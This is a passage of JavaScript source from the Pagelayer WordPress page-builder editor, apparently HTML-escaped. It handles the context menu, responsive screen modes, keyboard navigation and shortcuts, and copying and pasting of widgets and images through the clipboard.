		var vPosition = (e.pageY+$contextMenu.height()&gt;jQuery(document).scrollTop()+jQuery(window).height()) ? (e.pageY-$contextMenu.height()) : e.pageY;
		
		$contextMenu.css({
			display: &quot;block&quot;,
			left: hPosition,
			top: vPosition
		});
		
		return false;
		 
	});
	
	jQuery(&#039;html&#039;).on(&#039;click&#039;, function(e){
		$contextMenu.hide();
	});
}

// Set the parent for the group
function pagelayer_set_parent(jEle, id){
	jEle.attr(&#039;pagelayer-parent&#039;, id);
};

// Set the widget group
function pagelayer_set_widget_group(jEle){
	jEle.addClass(&#039;pagelayer-ele-widget-group&#039;);
};

// Get the parent for the group
function pagelayer_get_parent(jEle){
	return jEle.attr(&#039;pagelayer-parent&#039;);
};

// Sets the screen mode
function pagelayer_set_screen_mode(mode){
	var modes = [&#039;desktop&#039;, &#039;tablet&#039;, &#039;mobile&#039;];
	var body = pagelayer.$$(&#039;.pagelayer-iframe-holder iframe&#039;);
	var current = &#039;&#039;;
	
	for(var x in modes){
		
		if(body.hasClass(&#039;pagelayer-screen-&#039;+modes[x]) &amp;&amp; modes[x] != mode){
			current = modes[x];
			body.removeClass(&#039;pagelayer-screen-&#039;+modes[x]);
		}
	}
	
	// Add the class
	body.addClass(&#039;pagelayer-screen-&#039;+mode);
	
	// Add the class to the button
	pagelayer.$$(&#039;.pagelayer-mode-button&#039;).removeClass(&#039;pli-&#039;+current).addClass(&#039;pli-&#039;+mode);
	
	// Add the class to the button
	pagelayer.$$(&#039;.pagelayer-prop-screen&#039;).removeClass(&#039;pli-&#039;+current).addClass(&#039;pli-&#039;+mode);
	
	// Trigger screen change if any
	pagelayer.$$(&#039;.pagelayer-elp-screen&#039;).trigger(&#039;pagelayer-screen-changed&#039;);
	
};

// Get the current screen mode
function pagelayer_get_screen_mode(){
	var modes = [&#039;desktop&#039;, &#039;tablet&#039;, &#039;mobile&#039;];
	var body = pagelayer.$$(&#039;.pagelayer-iframe-holder iframe&#039;);
	
	for(var x in modes){
		if(body.hasClass(&#039;pagelayer-screen-&#039;+modes[x])){
			return modes[x];
		}
	}
}

var pagelayer_keydown_data = {};
pagelayer_add_action(&#039;pagelayer_do_dirty&#039;, function(){
	pagelayer_keydown_data = {};
});

var pagelayer_active_ele_timmer = {};
// Handle widget selecttion and move cursor in editable areas on key press events
jQuery(document).keydown(function(e){
	//alert(String.fromCharCode(e.which));
	
	var tEle = jQuery(e.target);
	var editable = tEle.closest(&#039;[contenteditable=&quot;true&quot;]&#039;);
	var tooltip = pagelayer.$$(&#039;.pagelayer-widget-tooltip&#039;);
	
	// If ArrowDown and ArrowUp key not pressed
	if(!(e.key == &#039;ArrowDown&#039; || e.key == &#039;ArrowUp&#039;) || tooltip.is(&#039;:visible&#039;)){
		pagelayer_keydown_data = {};
		return;
	}
	
	var findEles = jQuery(pagelayer_editable+&#039; .pagelayer-ele,&#039;+pagelayer_editable+&#039; [contenteditable=&quot;true&quot;]&#039;);
	var activeEle = findEles.first();
	
	if(editable.length &gt; 0){
		activeEle = editable;
	}else if( &#039;$&#039; in pagelayer_keydown_data ){
		activeEle = pagelayer_keydown_data.$;
	}else if( pagelayer_active.el &amp;&amp; &#039;id&#039; in pagelayer_active.el ){
		activeEle = pagelayer_active.el.$;
	}
	
	if(pagelayer_empty(activeEle) || activeEle.length &lt; 1){
		return;
	}
	
	// Make element active
	var makeEleActive = function(index, next){
		
		next = next || false;
		var cursorPos = 0, focusEle;
		
		// We are editable area
		if(editable.length &gt; 0){
			
			var lines = pagelayer_content_line(editable.get(0));
			var cursorPos = pagelayer_getCaretCharacterOffsetWithin(editable.get(0));

			if((next &amp;&amp; lines[lines.length - 1].start &gt; cursorPos) || (!next &amp;&amp; lines[0].end &lt; cursorPos)){
				return;
			}
			
			e.preventDefault();
						
			var lastLineStart = lines[lines.length - 1][&#039;start&#039;];
			
			// We are on the last line
			if(next &amp;&amp; lastLineStart &lt;= cursorPos){
				cursorPos = cursorPos - lastLineStart;
			}
			
		}
		
		// Search for next/previous element
		var searchEle = function(indexEle){
			
			indexEle = next ? ++indexEle : --indexEle;
			var sIndex = findEles.eq(indexEle);
			
			if(sIndex.length &lt; 1){
				return sIndex;
			}
		
			var sEle = sIndex.closest(&#039;.pagelayer-ele&#039;);
			var tag = pagelayer_tag(sEle);
			
			if(tag == &#039;pl_row&#039; || tag == &#039;pl_inner_row&#039; || tag == &#039;pl_col&#039; || sEle.parent().hasClass(&#039;pagelayer-hide-active&#039;) || !pagelayer_empty(sIndex.attr(&#039;pagelayer-parent&#039;))){
				sIndex = searchEle(indexEle);
			}
			
			return sIndex;
		}
		
		var ele = searchEle(index);
		
		// If ArrowUp and we are come from editable area and previous element is not editable
		if(ele.length &gt; 0 &amp;&amp; !next &amp;&amp; ele.attr(&#039;contenteditable&#039;) != &#039;true&#039;){
			ele = searchEle(findEles.index( ele ));
		}
		
		if(ele.length &lt; 1){
			return;
		}
		
		// Save in global variable
		pagelayer_keydown_data.$ = ele;
		jQuery(&#039;:focus&#039;).blur();
		
		var jEle = ele.closest(&#039;.pagelayer-ele&#039;);
		var tag = pagelayer_tag(jEle);
		
		if(ele.attr(&#039;contenteditable&#039;) == &#039;true&#039;){
			focusEle = ele;
		}else if(tag != &#039;pl_row&#039; &amp;&amp; tag != &#039;pl_inner_row&#039; &amp;&amp; tag != &#039;pl_col&#039;){
			
			var focusAble = ele.find(&#039;[contenteditable=&quot;true&quot;]&#039;);
			var isfocusAble = focusAble.closest(&#039;.pagelayer-ele&#039;).is(jEle);
		
			if(isfocusAble &amp;&amp; next){
				focusEle = focusAble.first();
			}else if(isfocusAble){
				focusEle = focusAble.last();
			}
		}
		
		if(!pagelayer_empty(focusEle) &amp;&amp; focusEle.length &gt; 0){
			focusEle.focus();
			
			var focusLine = pagelayer_content_line(focusEle.get(0));
			var fLine = next ? focusLine[0] : focusLine[focusLine.length -1];
			
			cursorPos = (fLine[&#039;start&#039;] + cursorPos &gt; fLine[&#039;end&#039;] ? fLine[&#039;end&#039;] : fLine[&#039;start&#039;] + cursorPos);
			
			pagelayer_setCaret(focusEle.get(0), cursorPos);
		}
		
		pagelayer_set_active(jEle);
		ele[0].scrollIntoView({behavior: &quot;smooth&quot;, block: &quot;nearest&quot;});
		
		clearTimeout(pagelayer_active_ele_timmer);
		pagelayer_active_ele_timmer = setTimeout(function(){
			pagelayer_keydown_data = {};
			ele.closest(&#039;.pagelayer-ele&#039;).click();
		}, 1000);
	}
	
	// If cursor on first line &amp; up arrow key
	var currentIndex = findEles.index( activeEle );
	pagelayer_keydown_data.$ = activeEle;
	
	// Move active element and cursor arround editor
	if(e.key == &#039;ArrowDown&#039;){
		makeEleActive(currentIndex, true);
	}
	
	if(e.key == &#039;ArrowUp&#039;){		
		makeEleActive(currentIndex, false);
	}
});

// Handle key press events
pagelayer.gDocument.keydown(function(event){
	//alert(String.fromCharCode(event.which));
	
	var tEle = jQuery(event.target);
	var editable = tEle.closest(&#039;[contenteditable=&quot;true&quot;]&#039;);
	var tooltip = pagelayer.$$(&#039;.pagelayer-widget-tooltip&#039;);

	// Enter handle
	if(event.keyCode == 13){
				
		var jEle = tEle.closest(&#039;.pagelayer-ele&#039;);
		var tag = pagelayer_tag(jEle);
		
		// Add selected widget from widget list
		if(tooltip.is(&#039;:visible&#039;)){
			tooltip.find(&#039;.pagelayer-list-widget-active:visible&#039;).click();
			return;
		}
		
		if( pagelayer_empty(pagelayer_active.el) || !(&#039;id&#039; in pagelayer_active.el) ){
			return;
		}
		
		var active_el_par = pagelayer_active.el.$.parent();
		
		// Create and add text widget
		var addTitle = function(insertAfter){
			var ele = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_text&quot;&gt;&lt;/div&gt;&#039;);
			insertAfter.after(ele);
			return pagelayer_ele_by_id( pagelayer_onadd(ele) );
		}
		
		// If we have an active element then add text widget
		if(!(tEle.is(&#039;input, textarea&#039;) || editable.length &gt; 0)){
			
			event.preventDefault();
			
			var activeTag = pagelayer_active.el.tag;
			
			// If is row or column ?
			if(activeTag == &#039;pl_row&#039; || activeTag == &#039;pl_col&#039;){
				return;
			}
			
			var hEle = addTitle(active_el_par);
			hEle.click();
			hEle.find(&#039;[pagelayer-editable]&#039;).focus();
			
			// Ensure the column is not empty
			pagelayer_empty_col(hEle.closest(&#039;.pagelayer-col-holder&#039;));
			return;
		}
	
		if( (tag != &#039;pl_text&#039; &amp;&amp; tag != &#039;pl_heading&#039;) || editable.length &lt; 1 || event.shiftKey){
			return;
		}
		
		var selection = window.getSelection();
		var range = selection.getRangeAt(0);
			
		// We are within the list tag
		if(jQuery(range.startContainer).closest(&#039;[pagelayer-editable] li&#039;).length &gt; 0){
			return;
		}
		
		event.preventDefault();
				
		var lastChild = editable[0].lastChild;
		var startContainer = range.startContainer;
			
		if(startContainer.nodeType == Node.TEXT_NODE &amp;&amp; startContainer.parentNode != editable[0]){
			startContainer = startContainer.parentNode;
		}
			
		range.setEndAfter(lastChild);
			
		var val = range.cloneContents();
		var selfEle = jQuery(&#039;&lt;div&gt;&#039;).append(val);
		var selContent = selfEle.html();
		var selfFC = selfEle[0].firstChild;
		var emptyContent = false;
		
		if(selfFC == null || pagelayer_empty(selContent)){
			selContent = &#039;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#039;;
			emptyContent = true;
		}else if(selfFC.nodeType == Node.TEXT_NODE){			
			selContent = &#039;&lt;p&gt;&#039;+selContent+&#039;&lt;/p&gt;&#039;;
		}else if(selfEle.text() == &#039;&#039; &amp;&amp; selfEle.find(&#039;br&#039;).length &lt; 1){
			selContent = &#039;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#039;;
			emptyContent = true;
		}else if(selfEle.text().trim() == &#039;&#039;){
			selContent = selContent.replace(/\s+/, &quot;\u00A0&quot;);
			emptyContent = true;
		}

		range.deleteContents();
	
		if( jQuery(startContainer).is(&#039;:first-child&#039;) &amp;&amp; jQuery(startContainer).is(&#039;:empty&#039;) ){
			jQuery(startContainer).html(&#039;&lt;br&gt;&#039;);
		}else if( jQuery(startContainer).is(&#039;:empty&#039;) ){
			jQuery(startContainer).remove();
		}
		
		// If editor is empty
		if( editable.is(&#039;:empty&#039;) ){
			editable.html(&#039;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#039;);
		}
		
		editable.trigger(&#039;input&#039;);
		editable.blur();
		
		// Create and add text widget
		var ele;
		if(emptyContent){
			ele = addTitle(jEle.parent());
		}else{		
			var id = pagelayer_copy_element(jEle);
			ele = pagelayer_ele_by_id(id);
		}
		
		ele.click();
		var editorArea = ele.find(&#039;[pagelayer-editable]&#039;);
		editorArea.html(selContent);
		editorArea.find(&#039;p:empty&#039;).remove();
		editorArea.focus().trigger(&#039;input&#039;);
	}
	
	// ctrl+s handle
	if(event.keyCode == 83 &amp;&amp; event.ctrlKey){
		event.preventDefault();
		pagelayer.$$(&#039;.pagelayer-bottombar-holder&#039;).find(&#039;.pagelayer-update-button&#039;).click();
	}
	
	// ctrl+d handle
	if(event.keyCode == 68 &amp;&amp; event.ctrlKey){
		
		// If we have an active element
		if( pagelayer_active.el &amp;&amp; pagelayer_active.el.id ){
			event.preventDefault();
			pagelayer_copy_element(&#039;[pagelayer-id=&#039;+pagelayer_active.el.id+&#039;]&#039;);
		}
		
	}
	
	// Delete handler for text widget
	if(event.keyCode == 46 &amp;&amp; editable.length &gt; 0){
		var jEle = tEle.closest(&#039;.pagelayer-ele-wrap&#039;);
		var tag = pagelayer_tag(jEle);
		var next = jEle.next();
		var pTag = pagelayer_tag(next);
		
		var selection = window.getSelection();		
		var orgRange = selection.getRangeAt(0);
		var cloneRange = orgRange.cloneRange();
		
		if((tag != &#039;pl_text&#039; &amp;&amp; tag != &#039;pl_heading&#039;) || next.length &lt; 1 || pTag != tag || !cloneRange.collapsed ){
			return;
		}
		
		var currentOffset = pagelayer_getCaretCharacterOffsetWithin(editable[0]);
		cloneRange.selectNodeContents(editable[0]);
		var caretOffset = cloneRange.toString().length;
		
		if(currentOffset != caretOffset){
			return;
		}
		
		var nextHtml = next.find(&#039;[pagelayer-editable=&quot;text&quot;]&#039;).html();
		editable.append(nextHtml);
		pagelayer_delete_element(next.children(&#039;.pagelayer-ele&#039;));
	}
	
	// Backspace handler
	if(event.keyCode == 8 &amp;&amp; editable.length &gt; 0){
		var jEle = tEle.closest(&#039;.pagelayer-ele-wrap&#039;);
		var tag = pagelayer_tag(jEle);
		var prev = jEle.prev();

		if((tag != &#039;pl_text&#039; &amp;&amp; tag != &#039;pl_heading&#039;) || prev.length &lt; 1){
			return;
		}
				
		var pTag = pagelayer_tag(prev);
		var selection = window.getSelection();
		
		if (selection == null || selection.rangeCount &lt;= 0) return null;
		
		var range1 = selection.getRangeAt(0);
		
		if(pTag != tag || range1.startOffset != 0){
			return;
		}
		
		var prevArea = prev.find(&#039;[pagelayer-editable=&quot;text&quot;]&#039;);
		
		if( pagelayer_getCaretCharacterOffsetWithin(editable[0]) != 0 || prevArea.length &lt; 1){
			return;
		}
		
		//event.preventDefault();
		var html = editable.html();
		editable.blur();
		prev.children(&#039;.pagelayer-ele&#039;).click();
		prevArea.click();
		
		var newSel = window.getSelection();
		var newRange = newSel.getRangeAt(0);
		var lastChild = jQuery(prevArea[0].lastChild);
		
		prevArea.append(html);
		prevArea.trigger(&#039;input&#039;);
		
		if(lastChild.length &gt; 0){
			if(lastChild[0].nextSibling != null){
				newRange.setStart(lastChild[0].nextSibling, 0);
			}else{
				newRange.setStartAfter(lastChild[0]);
			}
		}
		
		newRange.collapse(true);
		newSel.removeAllRanges();
		newSel.addRange(newRange);
			
		pagelayer_delete_element(jEle.children(&#039;.pagelayer-ele&#039;));
		
	}
  	
	if(tooltip.is(&#039;:visible&#039;)){
		
		// Select previous widget in widget tooltip
		if(event.key == &#039;ArrowUp&#039; || event.key == &#039;ArrowLeft&#039; || (event.key == &#039;Tab&#039; &amp;&amp; event.shiftKey)){
			
			event.preventDefault();
			
			var current = tooltip.find(&#039;.pagelayer-list-widget-active:visible&#039;),
			prev = current.prevAll(&#039;.pagelayer-shortcode-holder:visible&#039;);
				
			if(event.key == &#039;ArrowUp&#039;){
				var _prev = prev,
				cOffset = current.offset();
				findNext = false;
				
				var searchNext = function(nEle){
					
					var nOffset = nEle.offset();
					var nBottom = nOffset.top + nEle.height();
					
					if(nBottom &gt; cOffset.top){
						return true;
					}
					
					prev = nEle;
					findNext = true;
					
					// Current element left set +20 to manager previous scale (css) element on hover
					if(cOffset.left + 20 &gt;= nOffset.left){
						return false;
					}
					
					return true;
				}
				
				_prev.each(function(){
					return searchNext(jQuery(this));
				});
				
				if(!findNext){
					var gNext = current.parent().prevAll(&#039;.pagelayer-widget-group:visible&#039;).first();
					_prev = gNext.children(&#039;.pagelayer-shortcode-holder:visible&#039;);
					
					jQuery(_prev.get().reverse()).each(function(){
						return searchNext(jQuery(this));						
					});
				}
				
			}
			
			if(prev.length &lt; 1){
				prev = current.parent().prevAll(&#039;.pagelayer-widget-group:visible&#039;).first().find(&#039;.pagelayer-shortcode-holder:visible&#039;).last();
			}
			
			if(prev.length &lt; 1){
				return;
			}
			
			prev.first().trigger(&#039;widget_active&#039;);
		}
		
		// Select next widget in widget tooltip 
		if(event.key == &#039;ArrowDown&#039; || event.key == &#039;ArrowRight&#039; || (event.key == &#039;Tab&#039; &amp;&amp; !event.shiftKey)){

			event.preventDefault();
			
			var current = tooltip.find(&#039;.pagelayer-list-widget-active:visible&#039;);
			next = current.nextAll(&#039;.pagelayer-shortcode-holder:visible&#039;);
				
			if(event.key == &#039;ArrowDown&#039;){
				
				var _next = next,
				cOffset = current.offset(),
				findNext = false;
				
				var searchNext = function(nEle){
					var nOffset = nEle.offset();
					var cBottom = cOffset.top + current.height();
					
					if(cBottom &gt; nOffset.top){
						return true;
					}
					
					next = nEle;
					findNext = true;
					
					// Current element left set -20 to manager next scale (css) element on hover
					if(cOffset.left - 20 &lt;= nOffset.left){
						return false;
					}
					
					return true;
				}
				
				_next.each(function(){
					return searchNext(jQuery(this));
				});
				
				if(!findNext){
					var gNext = current.parent().nextAll(&#039;.pagelayer-widget-group:visible&#039;).first();
					_next = gNext.children(&#039;.pagelayer-shortcode-holder:visible&#039;);
					_next.each(function(){
						return searchNext(jQuery(this));						
					});
				}
				
			}
			
			if(next.length &lt; 1){
				next = current.parent().nextAll(&#039;.pagelayer-widget-group:visible&#039;).first().find(&#039;.pagelayer-shortcode-holder:visible&#039;);
			}
			
			if(next.length &lt; 1){
				return;
			}
			
			next.first().trigger(&#039;widget_active&#039;);

		}
	}

	// Is this in the editable area ?
	if (tEle.is(&#039;input, textarea&#039;) || editable.length &gt; 0) {
		return;
	}
	
	// Delete
	if(event.keyCode == 46){
		pagelayer_delete_element(&#039;[pagelayer-active]&#039;);
	}
	
	// ctrl+z handle
	if(event.keyCode == 90 &amp;&amp; event.ctrlKey){
		pagelayer_do_history(&#039;undo&#039;);
	}
	
	// ctrl+y handle
	if(event.keyCode == 89 &amp;&amp; event.ctrlKey){
		pagelayer_do_history(&#039;redo&#039;);
	}
	
});

// Handle Copy of content
jQuery(document).on(&#039;copy&#039;, function(copyEvent){
		
	// Is Selected string?
	var selectedText = &quot;&quot;;
	if (window.getSelection){ // all modern browsers and IE9+
		selectedText = window.getSelection().toString();
	}
	
	if(selectedText.length &gt; 0){
		return;
	}
	
	if(pagelayer_active.el &amp;&amp; pagelayer_active.el.id){
		copyEvent.preventDefault();
		
		// Save the active element id
		pagelayer_copy_select(&quot;[pagelayer-id=&#039;&quot;+pagelayer_active.el.id+&quot;&#039;]&quot;, copyEvent);
		
	}
	
});

// This is for preload clipboard data
// Content can be copied from outside
var pagelayerIsParentBlured = true;
jQuery(window).on(&#039;focus&#039;, function(e){
	if(pagelayerIsParentBlured){
		pagelayer_copy_from_clipboard();
	}
	pagelayerIsParentBlured = true;
});

jQuery(window.parent).on(&#039;focus&#039;, function(){
	pagelayerIsParentBlured = false;
});

// Handle Paste in the editor
jQuery(document).on(&#039;paste&#039;, function(pasteEvent){

	var pEle_target = jQuery((pasteEvent.originalEvent || pasteEvent).target);
	var tag = pagelayer_tag(pEle_target.closest(&#039;[pagelayer-id]&#039;));
	var clipboardData = (pasteEvent.originalEvent || pasteEvent).clipboardData;
	var items = clipboardData.items;

	var pagelayer_ajax_func = {};
	var contenteditable = false;
	var pasteWidget = false;

	if( pEle_target.closest(&#039;[contenteditable=&quot;true&quot;]&#039;).length &gt; 0 || pEle_target.is(&#039;input, textarea&#039;) ){
		pEle_target = pEle_target.closest(&#039;[contenteditable=&quot;true&quot;], input, textarea&#039;);
		contenteditable = true;
	}
	
	if( items.length &lt; 1 || (items.length == 1 &amp;&amp; pagelayer_empty(clipboardData.getData(items[0].type))) ){
		pasteWidget = true;
	}
	
	// This function for ajax before send call back
	pagelayer_ajax_func[&#039;beforeSend&#039;] = function(xhr){
		
		// If target is not content editable
		if( pagelayer_empty(contenteditable) ){
		
			// If we dont have an active element then return false and stop ajax
			if( !(pagelayer_active.el &amp;&amp; pagelayer_active.el.id) ){
				pagelayer_show_msg(pagelayer_l(&#039;active_ele_paste_msg&#039;));
				return false;
			}
							
			pagelayer.copy_selected = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_image&quot;&gt;&lt;/div&gt;&#039;);
				
			// Is it to be pastable
			if(!pagelayer_can_copy_to(&#039;[pagelayer-id=&quot;&#039;+pagelayer_active.el.id+&#039;&quot;]&#039;)){
				pagelayer.copy_selected = &#039;&#039;;
				return false;
			}
		}
		
		pEle_target.css({&#039;opacity&#039;: &#039;0.33&#039; , &#039;transition&#039; : &#039;0.1s&#039;});
	}
	
	// This function for ajax success call back
	pagelayer_ajax_func[&#039;success&#039;] = function(obj){
		
		// Successfully Uploaded
		if(obj[&#039;success&#039;]){
			
			// For content editable e.g. Rich Text
			if( !pagelayer_empty(contenteditable) ){
				document.execCommand(&#039;insertImage&#039;, false, obj[&#039;data&#039;][&#039;url&#039;]);
			
			// For our widgets
			}else{
				
				if(pagelayer_empty(pagelayer_active.el) || pagelayer_empty(pagelayer_active.el.id)){
					pagelayer_show_msg(&#039;active_ele_paste_msg&#039;);
					return;
				}
				
				var fTo = pagelayer_can_copy_to(&#039;[pagelayer-id=&quot;&#039;+pagelayer_active.el.id+&#039;&quot;]&#039;);
				// We need to empty pagelayer.copy_selected
				pagelayer.copy_selected = &#039;&#039;;
				
				var pasteAfter = function(){
					
					// Prevent to add action history
					pagelayer.history_action = false;
					
					// Create image html
					var html = pagelayer_create_sc(&#039;pl_image&#039;);
					
					pagelayer_set_atts(html, &#039;id&#039;, obj[&#039;data&#039;][&#039;id&#039;]);
					pagelayer_set_tmp_atts(html, &#039;id-url&#039;, obj[&#039;data&#039;][&#039;url&#039;]);
					
					// Allow to add action history
					pagelayer.history_action = true;
		
					// Copy the element
					var id = pagelayer_copy_element(html, fTo);
					jQuery(&#039;[pagelayer-id=&quot;&#039;+id+&#039;&quot;]&#039;).click();
					
				};
				
				var replaceURL = function(){
					
					// Finding widget image setting using id of jEle. Finding image editor setting from all of the other settings.
					var row = pagelayer.$$(&#039;[pagelayer-element-id=&#039;+pagelayer_active.el.id+&#039;]&#039;).find(&#039;.pagelayer-elp-image&#039;).eq(0).parent().parent();
					
					row.find(&#039;.pagelayer-elp-image&#039;).css(&#039;background-image&#039;, &#039;url(\&#039;&#039;+obj[&#039;data&#039;][&#039;url&#039;]+&#039;\&#039;)&#039;);
					
					// To remove past temp attr so that they are not involve in future temp values
					var cname = row.attr(&#039;pagelayer-elp-name&#039;);
					var old = _pagelayer_img_tmp_atts(row);
					delete old[cname+&#039;-url&#039;];
					
					for(var x in obj[&#039;data&#039;][&#039;sizes&#039;]){
						_pagelayer_set_tmp_atts(row, x+&#039;-url&#039;, obj[&#039;data&#039;][&#039;sizes&#039;][x][&#039;url&#039;]);
						delete old[cname+&#039;-&#039;+x+&#039;-url&#039;];
					}
					
					for(var x in old){
						_pagelayer_set_tmp_atts(row, x+&#039;-url&#039;, &#039;&#039;);
					}
										
					// Save and render
					_pagelayer_set_tmp_atts(row, &#039;url&#039;, obj[&#039;data&#039;][&#039;url&#039;]);
					_pagelayer_set_atts(row, obj[&#039;data&#039;][&#039;id&#039;]);
				};
				
				// Image paste confirmation.
				if(!pagelayer_empty(pagelayer_active.el.tag) &amp;&amp; pagelayer_active.el.tag == &#039;pl_image&#039;){
					
					pagelayer_confirmation_box(pagelayer_l(&#039;img_paste_conf&#039;), replaceURL, pasteAfter, pagelayer_l(&#039;replace_img&#039;), pagelayer_l(&#039;paste_after&#039;));
					
				}else{
					pasteAfter();
				}
			}
		
		// Some error occured	
		}else{
			pagelayer_show_msg(obj[&#039;data&#039;][&#039;message&#039;], &#039;error&#039;, 10000);						
		}
	}
	
	// This function for ajax complete call back
	pagelayer_ajax_func[&#039;complete&#039;] = function(xhr){
		//console.log(xhr);
		pEle_target.css({&#039;opacity&#039;: &#039;1&#039; , &#039;transition&#039; : &#039;0.1s&#039;});
	}
	
	var findImg = pagelayer_editable_paste_handler(pasteEvent, pagelayer_ajax_func);
	
	if(pagelayer_empty(findImg) || pasteWidget){
		
		// Check the active element
		if(pagelayer_active.el &amp;&amp; pagelayer_active.el.id &amp;&amp; pagelayer_active.el.tag != &#039;pl_post_props&#039;){
			
			const text = clipboardData.getData(&#039;text&#039;);
			var pEle = jQuery(text);
			var getData = true;
			
			if(pEle.length &gt; 0 &amp;&amp; !pagelayer_empty(pagelayer_tag(pEle)) ){
				
				// Cache pEle to make contextmenu paste faster
				pagelayer.copy_selected = pEle;
				getData = false;
				
				// Is it to be pastable
				if(pagelayer_can_copy_to(&#039;[pagelayer-id=&quot;&#039;+pagelayer_active.el.id+&#039;&quot;]&#039;)){
					pasteEvent.preventDefault();
					var jEle = jQuery(&quot;[pagelayer-id=&#039;&quot;+pagelayer_active.el.id+&quot;&#039;]&quot;);
											
					// Check if the any element is copied
					pagelayer_paste_element(jEle, false);
				}
				
			}
			
		}else{
			pagelayer_show_msg(pagelayer_l(&#039;no_active_ele_paste&#039;));
		}
	}
});

// Delete an element as per the selector
function pagelayer_delete_element(selector){
	var jEle = jQuery(selector);
	var nearBy = jEle;
	
	// Anything found ?
	if(jEle.length &gt; 0){
		
		var id = pagelayer_assign_id(jEle);
		var sc = pagelayer_tag(jEle);
		
		// Is there a wrap
		var wrap = jQuery(&#039;[pagelayer-wrap-id=&quot;&#039;+id+&#039;&quot;]&#039;);
		
		var par = wrap.parent();
		
		// Save this element in history action
		if(pagelayer.history_action){	
			var cEle = pagelayer_near_by_ele(id, sc);
			
			nearBy = jQuery(cEle.cEle);
			
			// To save in history, we need to save only element not the wraps as we call setup if we redo or undo	
			jEle.find(&#039;style&#039;).remove();
			jEle.find(&#039;.pagelayer-ele-overlay&#039;).remove();
			
			// Unwrap the wraps
			jEle.find(&#039;.pagelayer-ele&#039;).each(function (){
				var ele = jQuery(this);
				if(ele.parent().is(&#039;.pagelayer-ele-wrap&#039;)){
					ele.unwrap();
				}
			});
						
			pagelayer_history_action_push({
				&#039;title&#039; : pagelayer_shortcodes[sc][&#039;name&#039;],
				&#039;action&#039; : &#039;Deleted&#039;,
				&#039;pl_id&#039; : id,
				&#039;html&#039; : jEle[0].outerHTML,
				&#039;cEle&#039; : cEle
			});
		}
		
		wrap.remove();
		
		pagelayer_empty_col(par);
		
		if( (pagelayer_active.el &amp;&amp; pagelayer_active.el.id == id) || 
			(pagelayer_active.el &amp;&amp; pagelayer_active.el.id &amp;&amp; jQuery(&#039;[pagelayer-id=&quot;&#039;+pagelayer_active.el.id+&#039;&quot;]&#039;).length &lt; 1)){
			pagelayer.$$(&#039;.pagelayer-elpd-close&#039;).click();
		}
		
	}
	
	// Do Pagelayer dirty
	pagelayer_do_dirty(nearBy);
};

// Select an element
function pagelayer_copy_select(selector, copyEvent = false){
	
	var sEle = jQuery(selector);
	
	if(sEle.length &lt; 1){
		pagelayer_show_msg( pagelayer_l(&#039;invalid_copy_ele_msg&#039;));
		return;
	}
	
	var tag = pagelayer_tag(sEle);
	
	if(
		pagelayer_empty(tag) || 
		pagelayer_empty(pagelayer_shortcodes[tag]) || 
		!pagelayer_empty(pagelayer_shortcodes[tag][&#039;not_visible&#039;])
	){
		pagelayer_show_msg( pagelayer_l(&#039;invalid_copy_ele_msg&#039;));
		return;
	}
	
	var eHtml = sEle[0].outerHTML;
	
	pagelayer.copy_selected = eHtml;
  
	// To hide Cliboard warning while pasting
	pagelayerClipboardReadable = true;
  
	if(copyEvent){
		// set clipbord data
		(copyEvent.originalEvent || copyEvent).clipboardData.setData(&#039;text/plain&#039;, eHtml);
		pagelayer_show_msg(pagelayer_l(&#039;copied_msg&#039;));
		
		return;
	}
	
	// Copy element to clipboard
	pagelayer_copy_ele_to_clipboard(eHtml);
	
}

// Select an element
function pagelayer_copy_ele_to_clipboard(eHtml){
	
	var fallbackCopy = function(text){
		const textarea = document.createElement(&quot;textarea&quot;);
		textarea.value = text;
		textarea.style.position = &quot;fixed&quot;;  // avoid scrolling
		textarea.style.opacity = 0;
		document.body.appendChild(textarea);
		textarea.focus();
		textarea.select();
		try {
			document.execCommand(&#039;copy&#039;);
			pagelayer_show_msg( pagelayer_l(&#039;copied_msg&#039;));
		}catch(err){
			//console.error(&quot;Copy failed&quot;, err);
			pagelayer_show_msg( pagelayer_l(&#039;Copy failed&#039;));
		}
		document.body.removeChild(textarea);
	}
	
	// Modern clipboard API
	if(navigator.clipboard &amp;&amp; window.isSecureContext) {
		navigator.clipboard.writeText(eHtml).then(() =&gt; {
			pagelayer_show_msg( pagelayer_l(&#039;copied_msg&#039;));
		}).catch(() =&gt; {
			fallbackCopy(eHtml);
		});
	}else{
		fallbackCopy(eHtml);
	}
}

function pagelayer_can_copy_to(to){
	var jEle = jQuery(pagelayer.copy_selected);
	var tEle = jQuery(to);
	
	var eTag = pagelayer_tag(jEle);
	var tTag = pagelayer_tag(tEle);
	//console.log(eTag+&#039; - &#039;+tTag);
	
	// Invalid HTML copied
	if(pagelayer_empty(eTag)){
		return false;
	}
	
	// Final to
	var fTo;
	
	// Selected element is a Row, can go only after a row
	if(eTag == &#039;pl_row&#039;){
		fTo = tEle.closest(&#039;.pagelayer-ele.pagelayer-row&#039;);
		if(fTo.length != 1) return false;
		return fTo;
	}
	
	// Selected element is a Column, can go only after a col
	if(eTag == &#039;pl_col&#039;){
		fTo = tEle.closest(&#039;.pagelayer-ele.pagelayer-col&#039;);
		if(fTo.length != 1) return false;
		return fTo;
	}
	
	// Is the TARGET a row or column when the selected item is a element
	if(tTag == &#039;pl_row&#039; || tTag == &#039;pl_col&#039;){
		return false;
	}
	
	return tEle;
	
}

// Select an element
function pagelayer_paste_element(to, syncClipboard = true){
	
	// Wait for clipboard sync
	// This is for context paste
	if(syncClipboard){
		if(pagelayerClipboardLoading){
			setTimeout(function(){
				pagelayer_paste_element(to);
			}, 200);
			return false;
		}
		
		// There may be some problems reading the clipboard
		if(pagelayerClipboardReadable !== true){
			pagelayer_show_msg(&#039;If the paste is not done correctly then use Ctrl+V&#039;, &#039;warning&#039;);
		}
	}
	
	var fTo = pagelayer_can_copy_to(to);
	
	// Is it a valid to
	if(!fTo){
		return false;
	}
	
	if(!pagelayer_empty(pagelayer.copy_selected)){
		pagelayer_copy_element(pagelayer.copy_selected, fTo);
		return true;
	}
	
	pagelayer_show_msg(pagelayer_l(&#039;no_copied&#039;));
	
	return false;
}

var pagelayerClipboardLoading = false;
var pagelayerClipboardReadable = true;
// If copy_selected is empty then copy data from localStorage
async function pagelayer_copy_from_clipboard(){
	
	if(pagelayerClipboardLoading){
		return;
	}
	
	if (navigator.clipboard &amp;&amp; window.isSecureContext) {
		try {

